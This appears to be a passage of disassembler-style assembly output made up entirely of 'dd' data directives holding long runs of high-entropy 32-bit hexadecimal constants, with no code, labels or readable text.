		dd 0D05CEE1Ch, 0C76D8D01h, 0EE40C551h, 445E53h,	0A1FDCBC1h
		dd 0EE0E356Eh, 7812092Eh, 8FB29000h, 4AEF45h, 68C29FE8h
		dd 0DFA5505Bh, 0DA670D04h, 0C4A0B5EDh, 0B042498Ah, 5048EF3Dh
		dd 0DEA80500h, 0D4F39E0h, 0E3A5E900h, 0BC15E643h, 0AA900054h
		dd 0CF777AC3h, 2F00FDE8h, 880AAF94h, 0ECA08079h, 0B68907C7h
		dd 329B29CBh, 9040BBB5h, 0AC1D9E54h, 0AB80CA68h, 5EF8FA7Ch
		dd 0D4B70E7Bh, 0C79CE92Fh, 10887077h, 0BF23207Eh, 462EA100h
		dd 0E5CC619Dh, 997B0142h, 26896DCAh, 1A8B6047h,	48A2E700h
		dd 0B6EF3F8Dh, 34C20437h, 0C7B2813Ah, 80BAA4C6h, 6CBB5508h
		dd 0C6D6726h, 5A8B7100h, 79101F84h, 0A236002Eh,	0D32B5980h
		dd 9E2CAA3Ah, 0DA096004h, 50B40030h, 70528Dh, 717D9967h
		dd 0C116DB64h, 0EAB0D4B0h, 7AA56C02h, 0A0311143h, 99B102D8h
		dd 24157866h, 8034BFD8h, 0BD452872h, 0FD009A8Bh, 0E6883227h
		dd 5892F54Eh, 0DC002080h, 3FCBE14Dh, 1C395EC3h,	0B57487BEh
		dd 64D0A7D8h, 710A6869h, 3A983B5Dh, 0CD765480h,	6DEA9F9Dh
		dd 0CAA51B00h, 0E5BC8E2Fh, 543F2266h, 4C60A700h, 0BE72CC2h
		dd 7B91FEF0h, 0CDF0739h, 0D7103B19h, 5D2501EEh,	14AF6027h
		dd 114FF901h, 0A9F4AD76h, 0E1F6DECh, 7BB304F3h,	96A01CA3h
		dd 11C06EC6h, 0CF608CE8h, 327C07C4h, 0D038CBADh, 0E558BD24h
		dd 71E9D89Fh, 63DD16E9h, 0A8D900FBh, 6641ED53h,	0F918E0E4h
		dd 0E368826Fh, 0E69B03E4h, 695219F5h, 9C982A93h, 2E5C0FC7h
		dd 920400C5h, 8422A456h, 76F7B65h, 49792448h, 0FFAFB371h
		dd 99FDDAD0h, 2ED3F00h,	0E1764D38h, 8057122Bh, 3E1900A6h
		dd 506C378Eh, 0AC8F100h, 97FCD83Ah, 37A0795h, 50186005h
		dd 85B3D2EFh, 993DBC00h, 8AABE008h, 0AA7E166Ah,	0CF500050h
		dd 1C4118C8h, 439B3B09h, 210F8058h, 0DDAA73h, 0F59E7BEDh
		dd 0D5997838h, 6E525400h, 428E5AD4h, 665B0081h,	0AC04B833h
		dd 7500A3A4h, 8D11AA9Fh, 12A1B1BAh, 2032A20Dh, 546B25F8h
		dd 0C2AF9107h, 86A05D9Bh, 3A7CC06h, 0EBB72892h,	0AFA147C5h
		dd 952AF042h, 0B9E35400h, 0FC863072h, 257D0152h, 70CC68BCh
		dd 0DB2AD4A7h, 0D4CBF200h, 15D2EB04h, 18A660EAh, 5243FC6Eh
		dd 23242C00h, 0D4B09877h, 0DFC60190h, 0DEEC637Ah, 5A64C08Ch
		dd 806AD23Dh
		dd 86B850FFh, 730755h, 0E02E469Dh, 0C18AFB5Bh, 0B25C0F1Fh
		dd 0C600282Eh, 0D1525E0Dh, 31CD0360h, 0A3D03837h, 0C576E2D8h
		dd 95DE1C00h, 3AAC3480h, 4C9A0FCBh, 738052AEh, 0F516A049h
		dd 9B806C90h, 5AF093EDh, 0E488B000h, 339B22B2h,	457400E2h
		dd 9D189442h, 6213BA6Fh, 900ECB06h, 0ACDBA16Ch,	10205836h
		dd 0EB241C22h, 64100FB6h, 63A0540Fh, 12058177h,	744BBA25h
		dd 67013E3Eh, 0D266B668h, 6B2E60E5h, 0CE2F0101h, 439717BAh
		dd 3622C8h, 0D0FEC68Fh,	6C0A4A48h, 87B7E73Ah, 0C3379CE2h
		dd 0F4797120h, 0AD0F0058h, 68972599h, 18C09335h, 0BF846A72h
		dd 0E0616581h, 0F61890AFh, 0D20073D7h, 8027C6C9h, 5EE0A2Dh
		dd 60B63499h, 824F09Fh,	6DC8A600h, 5B985229h, 985C7710h
		dd 0E9D200F4h, 3CAD781Ch, 31011E71h, 524D7053h,	830FBCBh
		dd 20AA0F1Ah, 79804657h, 40EA6B3Eh, 677F4909h, 0C4E4E0B7h
		dd 50E3003Ch, 2E79F91h,	5FE0CABCh, 80B5E138h, 0B6702887h
		dd 1478A6h, 0A3489FD2h,	49A27D58h, 13A00F0Eh, 0CB6F2012h
		dd 0E92CE45h, 0B87BF271h, 2FF0CD00h, 0A7002467h, 356B15ACh
		dd 62E21Dh, 2E85059h, 25A395D3h, 3A0FB017h, 17D1CC40h
		dd 2E09CA48h, 1CBB237Bh, 221F4Eh, 66DA5502h, 0CE0F05ECh
		dd 409E073Ch, 0DE9C7A28h, 0B298A4h, 85376C1Dh, 4DE1CD03h
		dd 0D2E7081Dh, 1C225501h, 0B07868B4h, 521D83C0h, 0A4164A2Bh
		dd 6C903E84h, 98AADC6Eh, 290F6A4h, 4EFD73CAh, 0E9C07DD7h
		dd 0C892F427h, 684C5401h, 0F1876DD8h, 0C169EF24h, 7FB1010h
		dd 232FF82Ch, 42835B03h, 994A5624h, 94306AEFh, 743F00D0h
		dd 0BC55A771h, 0B4E2C82h, 902D980Bh, 272434C0h,	7CA0F228h
		dd 0D0762BCh, 8AE8A42Eh, 3DD48307h, 0F6276F20h,	0B97800DFh
		dd 1C2C8D07h, 6000296Ch, 0E3A0669h, 0F0E902C8h,	0CAA700E0h
		dd 768E534Ah, 0E4581FF5h, 65B30110h, 56DA84ADh,	0E8C3A060h
		dd 0F3063872h, 1A1C500h, 0D390BDB6h, 0FEA55928h, 871473F2h
		dd 1FF05621h, 4AC041A0h, 796ECB64h, 39CBA063h, 0BF74008Bh
		dd 24FB1448h, 0BCFFAEh,	0BF80BE57h, 0EEF55FE8h,	8B00B2A6h
		dd 0A0A5D70Ah, 3F783EBBh, 0DADC5544h, 123A007Bh, 0E940A97Ah
		dd 2800A886h, 56DDE052h, 1830198h, 6188DE71h, 83693BE7h
		dd 0FB48A828h, 0C081EA21h, 7BCE0AE1h, 20920002h, 5F271E94h
		dd 8000CAB3h, 3356C65Bh, 7DDC1FEh, 0DCEC29A0h, 7D5E9068h
		dd 1F1C9699h, 0CF004D3Eh, 83DB6A16h, 0F9FA00FCh, 0E7099AA0h
		dd 19000B08h, 0D1A14826h, 3E228D84h, 3C809DCCh,	8174367Eh
		dd 1900BEC3h, 0B25AA3B1h, 0E52321h, 30F3C0Ch, 0AC1481C4h
		dd 0E6A7820Fh, 9AECA0CAh, 0FC9928F5h, 0D4E82Bh,	5C59A920h
		dd 7190E785h, 0ED5B4F07h, 5EE049B1h, 7511C921h,	88A30036h
		dd 948991F8h, 5302FBFEh, 0BE375BECh, 51E07FA4h,	1C006F98h
		dd 0D1A36949h, 0DC9339h, 78ACAE1Ah, 0B9C1CAF6h,	46164401h
		dd 5236D6A3h, 7FD3C4h, 0BD575CB1h, 6E4E9B31h, 4F490100h
		dd 0CDADA04Ch, 3EF40FB4h, 0E30643Dh, 4058A2C3h,	73D6B955h
		dd 391C1FA5h, 657E879Ah, 6D93537Fh, 0DEBB9600h,	0A6416163h
		dd 0AD363FAEh, 0A9084501h, 0FC467F3Ah, 0C53BE5C0h, 19D20040h
		dd 0F4ACBB73h, 497006Ch, 9CB044C8h, 91607DA4h, 0C00E96B0h
		dd 631800CBh, 0DE5950CCh, 5F03ADB4h, 0F2138A65h, 12B7A0D5h
		dd 1C800179h, 23D80C7Eh, 6B74E0FFh, 73A1951Eh, 9330047Ah
		dd 1C001454h, 551358FBh, 9B99DC07h, 4EAC7Ah, 43FE145Ch
		dd 0D8491D08h, 7611E30h, 0D7223D06h, 39EECF0Ch,	576568B8h
		dd 5026BF33h, 8C99F04Fh, 29166F2Eh, 0FA1FFE21h,	61719412h
		dd 13D00350h, 5883B08h,	0D4162A68h, 0EFA44023h,	1C6611BAh
		dd 0ECB2CB1Dh, 0C5D37BC0h, 1D67F1h, 4F8D29D5h, 0F6606381h
		dd 8C2E7E00h, 0A88008EAh, 10A600F2h, 180BE122h,	56007F6Bh
		dd 2F9CF3BFh, 3C9D3440h, 0B2974A7Bh, 80EC1FC6h,	9F5B431Bh
		dd 10001603h, 713E33C9h, 12F821B0h, 63C530h, 0B4A834Ah
		dd 7501DCB9h, 170EBFDDh, 0D1D9855Eh, 711FE70h, 0BB60F663h
		dd 999610F9h, 0EB0031AAh, 51486FBCh, 3CDF4D4h, 0C694D31Dh
		dd 8B80D7ACh, 2A30C0D5h, 0E6BCF9A2h, 3BE667h, 8088F331h
		dd 2D444C53h, 0C0D73D1Dh, 0BF3CD6C0h, 859B76h, 83CCE33Bh
		dd 384D52C9h, 3222EC1Eh, 0BF172000h, 0B3A284h, 105C21C0h
		dd 5E7F7766h, 4D4AD30Fh, 3B96C37Ch, 0CBACD0DEh,	591D058Eh
		dd 80440123h, 0D5A0DCE1h, 53687100h, 638A8052h,	0C5401B2h
		dd 0C85146D6h, 0E6CAE09Ch, 36A24904h, 22C33ACEh, 1CC9291Ah
		dd 0C2EFDF04h, 1D932AD3h, 0C2BBF8h, 2B278E14h, 6645A6F1h
		dd 0EB387A71h, 93077A25h, 223FE2D4h, 6F959DC0h,	0E630001Dh
		dd 44D634E9h, 7173C1EAh, 0F8D7933Eh, 7E9929C4h,	482AF544h
		dd 3A18425Dh, 8A211D24h, 12C91278h, 29211D63h, 2B8B0821h
		dd 88720588h, 0C5943766h, 81F00850h, 84B110D5h,	9444284h
		dd 2CA3447Fh, 742CD48h,	86502F3Ch, 22518218h, 1C221239h
		dd 29116132h, 0CCC6F3CDh, 2000D8C7h, 0E81AFDD7h, 58BD23h
		dd 216B819Ah, 0AE93AB70h, 59C5A700h, 0EDECF17Bh, 7028773Dh
		dd 188F00A1h, 0CB1C0E1h, 0D2058CA9h, 136DC65Ch,	4485A880h
		dd 2307261h, 0D3A4FF28h, 5C600E9Dh, 82016947h, 52980F2Ah
		dd 3BE86BA0h, 7A890042h, 2B9C6E63h, 7558C8ADh, 0AAA700E0h
		dd 68BFF625h, 81149B0h,	0D53A6300h, 0AB51B38Fh,	1600CD7Dh
		dd 0CE663913h, 3CC8920h, 0BA244249h, 5FD8518Dh,	29257E4Dh
		dd 885015h, 0CA4911C6h,	0E3C2A20Fh, 0A54CAD17h,	96CD4803h
		dd 59880037h, 34DC033Eh, 16005C9Eh, 715F9A2Dh, 12F4A3Dh
		dd 0D1C3A730h, 0FB85D8EFh, 7CBF982Ah, 78056300h, 0B59EFFC6h
		dd 3AAF3915h, 0F57BEE00h, 296DE552h, 2D030F7Fh,	836071E1h
		dd 0B0E0D059h, 0D04900BDh, 0BEE2DC30h, 0FD00E6B9h, 7B35EECh
		dd 3363376h, 0A31E15C1h, 0F5B04BF2h, 0A8000BB2h, 0DFC7D8D0h
		dd 1CCABA01h, 289657h, 97FE22B8h, 2103D498h, 0A1CB8E4Bh
		dd 1E769833h, 9EF207C3h, 0C08C5978h, 4E667767h,	1A00D170h
		dd 0ED37BE49h, 8EC7AFh,	0B6E2C220h, 0EEE73A38h,	21205370h
		dd 2AA700D0h, 0D3699C8Ch, 1A00DD47h, 2F9D07ECh,	7091BFh
		dd 225F7BB5h, 145328B2h, 96F85D1Dh, 40009E52h, 1CDB2992h
		dd 1B6A003Fh, 766F49E2h, 5B038FB0h, 15C2C859h, 0A29AA84Fh
		dd 33DC00E5h, 0ED40EBE7h, 5DE22935h, 870013FAh,	0B1C6471Dh
		dd 0AFA60Eh, 8268B086h,	5329A979h, 80F07C00h, 0DCFBE0E2h
		dd 4457D5Bh, 6489FEFDh,	0C034C3D2h, 0A4E76800h,	2765E9BFh
		dd 0CD710541h, 0E07B13h, 395EAFB8h, 8C00AE4Fh, 833073F0h
		dd 609B26EFh, 76CF20E1h, 9700E7D8h, 79FB5AC9h, 205DFD3h
		dd 3B7A49B7h, 3F60E960h, 93005D0Dh, 0CD6B7D89h,	1C2F968Ch
		dd 982DCA8Bh, 0BC22385Bh, 0FFCCEF50h, 41B7DF00h, 0E73FAB6Dh
		dd 0B1630090h, 0EEC91270h, 3EE05089h, 0B9824404h, 1090660Eh
		dd 0F12581Bh, 10CB05A7h, 0F8E7DB00h, 78FA39E5h,	5D00A898h
		dd 0F65BA97Fh, 0D4D0C8h, 29340861h, 0B7AE43A2h,	9B05D290h
		dd 58E1D991h, 0E06EC20h, 3142A7h, 0B0305181h, 7EA65D8h
		dd 9E381766h, 0E3F8C033h, 11003AFAh, 0A26FB248h, 0D3C197h
		dd 1901AA34h, 15147058h, 0F81C3D06h, 0F85E0Bh, 0DD6C5E4h
		dd 0A7452683h, 8706657Ch
		dd 49B4C96Fh, 0F85F0048h, 1A2FEFA2h, 0CB0059DCh, 3B43A55Eh
		dd 0A1D506h, 4853B781h,	642018E3h, 0F2D49000h, 0EA3E2BD9h
		dd 0ADBD009Ch, 32AB3D3Fh, 934C8D5Eh, 10B0008h, 0E7D9CFF4h
		dd 2372004Dh, 0FEE238EAh, 1092A3FAh, 5266F203h,	0EE642DAFh
		dd 0AE8F0280h, 0BBFCA312h, 0E6203C44h, 0D35903CCh, 28D9CA0h
		dd 7DC56007h, 0A9B02A6Fh, 26D0AE6Dh, 3422F8h, 2D5EDFE0h
		dd 0E8308DEAh, 5A2E308Ch, 50E93A03h, 27D3E780h,	5814FB23h
		dd 4BC4CF5Eh, 39BC8491h, 0AD510610h, 0F503F090h, 0EF1A7D2Fh
		dd 9A60006Ch, 8FEDCFE9h, 71405B47h, 569300F4h, 7ECE7D9Ch
		dd 0CD59A6EEh, 0C1E706B4h, 76044BBh, 25B1BEF8h,	0F475D0AFh
		dd 5B7BD08Fh, 0F6023F00h, 0B364937Fh, 247D0F35h, 0E22044DBh
		dd 0C32980BCh, 7EF66E12h, 7D96E700h, 16A557h, 2FE3173Eh
		dd 4D912CCEh, 31859003h, 989B40E6h, 2E3D9Dh, 489F6BA8h
		dd 6A23C775h, 801F6C39h, 0ECD24B3Fh, 579293h, 0D7157382h
		dd 1755B321h, 31F2620Eh, 96FE0030h, 0E53CD2h, 0DBBC0950h
		dd 0EB203242h, 0DE181673h, 61E8C8D5h, 4E460F75h, 56405847h
		dd 0A3689928h, 0ED03D48h, 40A2F0E2h, 272E132Bh,	0F9440046h
		dd 0C46D6C5Ch, 2100D89Bh, 61990C80h, 8D2E4Ah, 5D060B0Fh
		dd 9B95EDC6h, 44A52800h, 526091ADh, 50FF24E3h, 5F230070h
		dd 0CF262AC6h, 0C18298A0h, 6B132C00h, 0C8625737h, 497998h
		dd 29563470h, 0A1B346FFh, 4CB27300h, 0F739360Dh, 343F3C85h
		dd 5101007Bh, 594EE5D2h, 870B9890h, 5B5644h, 0F5709304h
		dd 3243021Eh, 0D2F269A5h, 0ABC9CB60h, 916B5C02h, 0C0AAFC98h
		dd 6A7D1Ch, 6338EC21h, 0DB9BC7D3h, 3F269505h, 79C7DED9h
		dd 0CBF3CAB0h, 0C2A103D7h, 74A9B89Fh, 453C087h,	4E3A7517h
		dd 2D3883F2h, 0A032BCE8h, 0DA3791h, 0EE7C1F20h,	3DBA06EDh
		dd 1D00B9FCh, 744007FDh, 33AB8h, 0ED8578C7h, 8BC2B2DCh
		dd 4D294F00h, 0DAEBF540h, 0D7CE0082h, 613DE9B3h, 0A2712D50h
		dd 184F0F00h, 0E5D87454h, 0E38501C6h, 6356DD22h, 0AE53F441h
		dd 47911B12h, 0F106F00h, 5D0AF2Bh, 9EBFEB62h, 0F536C0FDh
		dd 0D800ACCCh, 5C5D976Ah, 0F210D47Fh, 0C63100D7h, 0D95E1619h
		dd 1A1E531Dh, 45C0AABFh, 760381E2h, 1FB604ADh, 0C032AE99h
		dd 0C12A1024h, 5265E800h, 2671FC7Dh, 0FF7F0038h, 0E3BCA3C6h
		dd 0DC0028EDh, 0AB0AA451h, 732E92h, 498C99B5h, 0F09ED882h
		dd 328F8503h, 61CB35h, 2CD01F66h, 0E3A74D7Dh, 80C78D1Ch
		dd 0AE47F840h, 3EDCE00Ch, 0BB00F087h, 3B0D64D4h, 18243354h
		dd 7A1D1DC8h, 3482A51Dh, 405DAD9Dh, 7D7584D1h, 113C60EAh
		dd 9A088711h, 74CE2100h, 0E0DF2815h, 0ABB00Fh, 0CA5FC747h
		dd 453B54ABh, 49042F00h, 0F1A352FCh, 9A91007Ah,	9F31035Ch
		dd 9E074D97h, 0BE3BF6F2h, 5013839Fh, 45DDB82Fh,	30E900A4h
		dd 1F94FA7Fh, 3D007A8Ah, 68F762A0h, 9084E42h, 0F8923AD4h
		dd 50D11400h, 91003C0Dh, 0AC84F49Bh, 0C3B7CEh, 9811496Ch
		dd 0EBDF5626h, 9C721E00h, 0DE6EC7F1h, 381A019Eh, 0F4555915h
		dd 0C39DFC39h, 48149304h, 3100DB87h, 9A061B57h,	0AA35AE02h
		dd 0C0ACFC3Ah, 0E248D116h, 2908000Ch, 741CADC5h, 0FA00BEF1h
		dd 0A265826Fh, 9060D8ECh, 0C0C52A2Fh, 0EAB20788h, 337CEFADh
		dd 30CFDE1Bh, 55825862h, 519A11Fh, 0DFABBA80h, 0E4B878C3h
		dd 2148C0DEh, 0B08044F4h, 0BD17D700h, 83FD65BCh, 8DCB1F1Fh
		dd 84E8ACh, 0F7A544F2h,	7B3E8A2Ah, 0BB5E3B0Eh, 0F67927BEh
		dd 0D621DE20h, 41A46086h, 2F042084h, 875FFF00h,	0AA51CC93h
		dd 0E7910319h, 310FED06h, 0BB3C35E0h, 0D9086C00h, 9D72307h
		dd 0BE4A1D03h, 9AD6CFE2h, 0DC477080h, 0E638C472h, 0CD7A00A1h
		dd 75B82244h, 0CB1800B4h, 9B377985h, 55001D8Fh,	24016FE6h
		dd 5D6461h, 6E728DBAh, 0A7D221B5h, 8062903Ah, 0B49325F2h
		dd 0B1373Ch, 6E700FA9h,	46DF89B8h, 9868D301h, 59942027h
		dd 66E0D8h, 8CD42A55h, 0CBCBBCBh, 6DF531Dh, 41292CC0h
		dd 2B69D75h, 7C45942Ah,	33C06A17h, 0DC0019D5h, 0DF419F13h
		dd 4B988h, 0DAE0D225h, 0CB2CFC7Ah, 6C2FA703h, 8791FE0Ch
		dd 9057B300h, 3611004Eh, 0C799D46Fh, 7B00BC94h,	149C3CD9h
		dd 16BD4A26h, 0FCCE8Bh,	17A2C8B9h, 0BF00C6E1h, 0D9194D2h
		dd 0C2D0C9h, 5F42601Ch,	0B2842319h, 0CD01CE98h,	4474AC81h
		dd 0A0D8D36Ch, 0BC7D3A34h, 7A186501h, 0C87F0BC4h, 0F13C6B5Ah
		dd 80DD8062h, 0C0A829B7h, 94683B77h, 3F4EAE83h,	0E2A0DFE9h
		dd 0F412C378h, 30013B0Fh, 6D1E3C8Ah, 0C06460C2h, 999A38DEh
		dd 7AF7EC7Ah, 0A8024F5Ah, 0A1EB007Eh, 78FA93F6h, 0B9ECB2h
		dd 654C764Dh, 240D37AAh, 0F173B302h, 60B1AF14h,	0E8B80F80h
		dd 8CEE33A7h, 0C28BDFD6h, 63340CB8h, 7100B498h,	6E37B365h
		dd 7E77045Ch, 804F05B1h, 0C0D37BE1h, 5F6DB5CCh,	0BB51AE00h
		dd 477A73ADh, 2C150457h, 9027D9A0h, 814F6D64h, 6611DC0Fh
		dd 0D10B8056h, 120E643Ah, 0FA6CCCDh, 0A92002A4h, 0EF094527h
		dd 80D6E600h, 0DACBA52Fh, 0B14C0066h, 7C0DB894h, 0BF00221Bh
		dd 0FCE020D8h, 355D79h,	7AB10548h, 24F1C57Dh, 46AAF200h
		dd 5B8F1073h, 6A7E004Fh, 7225E3BEh, 0E90024CDh,	615911Ch
		dd 2FFA13Dh, 0D0DE6A86h, 0E440BDDFh, 6E001FFAh,	85C5A6DBh
		dd 0D9B115h, 356DFF06h,	9707BEA4h, 193A6098h, 0E2A98027h
		dd 0FFA351B2h, 0C5ED06DAh, 0D89BAE2Ch, 134B062Eh, 7A4E0F3Bh
		dd 18A10C4Fh, 48D6493Eh, 6FA85B0Eh, 0F03F58C7h,	1D0F4417h
		dd 200045F6h, 94EB0D95h, 3A4A9h, 0D821FE69h, 4E2BEE0Ch
		dd 0CF2DAF00h, 1EC2DE81h, 7A71008Ah, 5545C7D0h,	6C021B31h
		dd 0BBFE08D8h, 7F904119h, 34E25ECh, 0FFAB0D93h,	50F77542h
		dd 0FC8F5112h, 0F73F70Ch, 34D0626h, 9843A14Ch, 0EDF8A26Fh
		dd 0B660023Dh, 0E16691E1h, 20FB003Ch, 2B8D734Eh, 4000616Bh
		dd 2D0DD4ABh, 4B9572h, 6F92B109h, 82D253E7h, 6E24D124h
		dd 2C78A0Fh, 875068FAh,	8E8058F2h, 53179EBh, 1056DA75h
		dd 29000D3h, 0B7B0B4F6h, 613C9600h, 8FF1EB5Ch, 0A4D050E0h
		dd 0EEE0076h, 0C3DD89D3h, 0B400CA82h, 851F4204h, 255F841h
		dd 0F1E99B48h, 64404FEFh, 9D001DD3h, 0E4C111A5h, 3C156661h
		dd 28822119h, 756AFE7Eh, 63871C40h, 0F02A4A41h,	600A8D4h
		dd 6796E572h, 1426268h,	61F5B88Bh, 0C86CAF51h, 2EE273D5h
		dd 0D0A63600h, 9D642F4Ch, 0A2630040h, 0F86654FFh, 18C03887h
		dd 0D21FEFB6h, 83F202A1h, 5547C71Ch, 33FDB940h,	82AA2F00h
		dd 24A06987h, 5610049h,	0BC20A4A2h, 0B0000454h,	0C5B3DE2Ah
		dd 2C8A42AAh, 4C769Eh, 0AB380E6Bh, 0CF16CBCEh, 381E07A2h
		dd 8D180038h, 26CD179h,	0F8760077h, 2C53BD66h, 0D4067097h
		dd 0E0E8850Fh, 0C57A2630h, 30C10FD5h, 0C0408245h, 47EB16C9h
		dd 0AD6AD106h, 581DD2h,	3D4BAC7Ah, 103F0DAFh, 0C94A9B00h
		dd 67B0CD51h, 0F21B00E9h, 0DB772891h, 0EC9A86DAh, 1192433Fh
		dd 0C60007C0h, 63E395FDh, 0FE4C84EFh, 9F891650h, 0DF2704EFh
		dd 5481AAC1h, 0D86445E1h, 8BEC40h, 0F286F13Ch, 95841709h
		dd 4E9A1C00h, 295A3E15h, 0E0C21F99h, 6AAE89Dh, 0A15DB023h
		dd 0AD0740A5h, 6E5B6908h, 0C0EE7392h, 73098AF4h, 1D6C0116h
		dd 0C74004CDh, 0F5A050ECh, 0E892E270h, 25105D18h, 0F28F3A19h
		dd 0E0805422h, 0B7AF80BCh
		dd 1BB30700h, 16625DD0h, 88A25C9Ch, 0AB26B07h, 0E82DF0F6h
		dd 26136684h, 0A80FCF6Eh, 5C03E7BFh, 35399A60h,	68240077h
		dd 0D7A573F1h, 9B015150h, 0F7980B97h, 2FCC458Fh, 0FD88C903h
		dd 0C1478491h, 0C387D8B4h, 0B0380700h, 17119ADh, 118F004Bh
		dd 2CB5808Eh, 7209C29Ah, 40296465h, 1BF6DBCh, 588FCFE2h
		dd 70D2E915h, 0A37CC5ACh, 13C029E9h, 9D0016A8h,	4A86259Ch
		dd 0DAB50EF7h, 0D9607F8Eh, 1473678Bh, 6300D87Ah, 36843768h
		dd 0FA227134h, 48E2DEh,	1B6A727h, 5013AAB4h, 0D3FE8A01h
		dd 92390A65h, 14D6AA60h, 0B01AA2F9h, 481E7221h,	0F3073C6Ch
		dd 1880629Fh, 0B29E1EA6h, 1471D8h, 298D6589h, 0CF235AA0h
		dd 0D1031673h, 948C66EFh, 2FE1EF3Bh, 5AE59256h,	8414860h
		dd 0A5E146F6h, 35AD3C02h, 66FA2054h, 3D00E07Ah,	4E1E5621h
		dd 4BDDE8E4h, 3F5C4083h, 76E5666Fh, 10186A00h, 0D1542997h
		dd 77E670D5h, 40090B7Dh, 6381693Dh, 307E2A42h, 2800A32Ch
		dd 4DD2C9C5h, 0A7D1DFh,	775C04FDh, 0EB0C53A0h, 5E190100h
		dd 336421B3h, 50570B51h, 4480CA98h, 6BE5D5A1h, 0C8B17003h
		dd 0B07C7BABh, 65C48EEh, 1F082F30h, 0C20974FCh,	816B61F1h
		dd 5A3C4B9Eh, 5CDEA20h,	26C74D6Ah, 670080CFh, 0EC2C3D10h
		dd 0E802F889h, 403BD7D5h, 0FC96D648h, 0D750BF1h, 1C00B526h
		dd 0CE03C431h, 7E9813Fh, 9757AC8Eh, 20877BF5h, 0D3AA0D0h
		dd 605200A3h, 11395558h, 0E53CEF37h, 0EA8C0081h, 0E07FF9B2h
		dd 15021886h, 5F4386Ch,	541A6D00h, 0F0B5189Bh, 0D7630E2Ch
		dd 39CF0809h, 0E51047F6h, 7033F160h, 0D02460CCh, 1407FE24h
		dd 0FA704618h, 4CA11E8Bh, 78EE873Ch, 1374907Bh,	0B607D7ADh
		dd 9FC394BDh, 4E2A2BE0h, 0B58E0978h, 4890912Dh,	0A90F5203h
		dd 0E9AE2E7Fh, 554483A8h, 2902E42Bh, 40688353h,	16009386h
		dd 0A5DEA9E3h, 4D19459Bh, 0D203244Eh, 2491878Ah, 5A8BF800h
		dd 0BA1C1416h, 0FC40B063h, 0BCC81F17h, 0F00AE0Ah, 121B0Ch
		dd 0F3EA8988h, 0E306A42Ch, 0C79ECEDEh, 0E8EC0018h, 0FD225E5h
		dd 4313AEF1h, 0E10061C0h, 7D8E35E2h, 4F220308h,	3DAD0572h
		dd 4CB7C2F8h, 99592B09h, 455CA770h, 0F0A89020h,	80FCB99Dh
		dd 0C2D593C8h, 80066CFh, 3D53C175h, 5CECF762h, 0B6015331h
		dd 59172B51h, 664880AAh, 0D1AE9A07h, 2D301E34h,	3661C002h
		dd 4E589BC0h, 0E613FD07h, 92664743h, 0A4F51FA4h, 90540060h
		dd 10500138h, 0A61E4AB0h, 74E4C737h, 0DD2FF600h, 0E2D8EA19h
		dd 0A38400E3h, 912EE59h, 40C0B3D9h, 46B41C20h, 0E90430FAh
		dd 14759628h, 0B5D6A812h, 8082DD09h, 0D41607CAh, 1EC2F6F5h
		dd 7FD813D3h, 0C0FDC59Eh, 0E77C6C75h, 9400ABD2h, 1368F174h
		dd 1EB3CACFh, 811C4105h, 12067246h, 93EBC4E3h, 190A2312h
		dd 13A23409h, 0E9701628h, 55704016h, 0A3813238h, 0CF595A00h
		dd 155E23EFh, 50D2004Bh, 591F9DAh, 3894C53Fh, 0FA5BFD80h
		dd 90A50CAAh, 4AE10934h, 1CC5AF7Fh, 54408B12h, 39220342h
		dd 642000ABh, 5E409908h, 8F261C1Ah, 0BD609469h,	0F36DC7h
		dd 5FEC7E86h, 92BE994Ah, 0D5522700h, 8587B7F1h,	0FC3900D3h
		dd 0BAEF348Ah, 497D4201h, 0A6B9F0A3h, 1DBC6033h, 80588D7Bh
		dd 0E0A119B6h, 18F4D378h, 7B7C002Eh, 0E66DEF4Dh, 0B0D0C7CCh
		dd 49050FD8h, 40A66F56h, 5F3C5411h, 788A48F3h, 6F00673Ch
		dd 2758911Fh, 49001D9Dh, 0A835978Fh, 3B28AAh, 0B67A8762h
		dd 0DE79F89Fh, 0C456BE00h, 623B8D7h, 9C3504A8h,	805E4DBBh
		dd 306467BCh, 1BF7A902h, 0E9A76619h, 283D6560h,	1214414Ah
		dd 9AF5F9Bh, 7C29034h, 524D5825h, 96E6A032h, 0BA0181EBh
		dd 8EC5A7D3h, 0BE306811h, 0B02C7AFCh, 9BCD0588h, 0C0A407E7h
		dd 1D75457Ch, 0FB9D2D1Fh, 60B62CCFh, 0C3013B11h, 0C9F295Bh
		dd 7A483FA4h, 0EC032Ah,	0B44A6362h, 0E19DE366h,	220A3Bh
		dd 6554C4D4h, 1211A43h,	25911BABh, 0F8BD2BF0h, 0FB124A51h
		dd 0B80001A9h, 17C4E062h, 11B06713h, 80B5957Dh,	9831E154h
		dd 0C9A6D112h, 0A035920Eh, 524AF194h, 0ABF4F90Fh, 9CBA0083h
		dd 69E9E1F4h, 950798EBh, 7467F81Dh, 3F5E90E0h, 0B7750082h
		dd 864BC1C4h, 0B80E8FC2h, 0E07CA716h, 7E814FBCh, 0DDDCA075h
		dd 0D16A2EF6h, 169100F0h, 8EECC527h, 9900D074h,	0E4B5AACBh
		dd 38070A52h, 0C300A0A5h, 3574B086h, 0EE0F2AE3h, 6B9C5659h
		dd 0B67E80F5h, 0C49DF3h, 0E45B5899h, 8B94810Dh,	7B408A00h
		dd 76A214BFh, 0C5220F7Dh, 9B8002C8h, 9B5F31Fh, 78C71B26h
		dd 7EFB7A80h, 20592h, 5C9614BEh, 311E8B79h, 6CA4FF00h
		dd 3CA3A707h, 0EEBCB034h, 94C1CD2h, 0B329C0C9h,	0FA1665D8h
		dd 0B10ACD70h, 14BBE2D9h, 0C0E84F0Fh, 0EBB0F645h, 0B1B912A4h
		dd 4007162Dh, 1819DF5Ch, 500776FDh, 0FAB32AA3h,	38F373B1h
		dd 0EA782087h, 0E62281C6h, 32109EB7h, 1B1DFD03h, 9997F06Ah
		dd 0F72B3F81h, 0E52CC180h, 0C9BCD05Eh, 8638F403h, 810C51A3h
		dd 58E0A0B8h, 8CC100CDh, 42CABD92h, 9912A35Eh, 0E8405763h
		dd 0DE4CC5F9h, 0B913009Fh, 1AA3E7B8h, 0A000D2ACh, 0F673373Eh
		dd 1EA7DBFFh, 419BBFC0h, 2B86B1C6h, 87684036h, 0AA3F5766h
		dd 6EEF18E2h, 1678FEC0h, 806D2427h, 4760AB6Ch, 4DC0A354h
		dd 0A200AE76h, 0FA15D30h, 0F8761CBAh, 80740096h, 737FFF82h
		dd 89003F27h, 0AED00913h, 170334h, 91D6F4AFh, 53F3DFDBh
		dd 6B5D3Ah, 923DB8BAh, 0CC0635h, 70976FBEh, 43ABBFCh, 0D2FF6903h
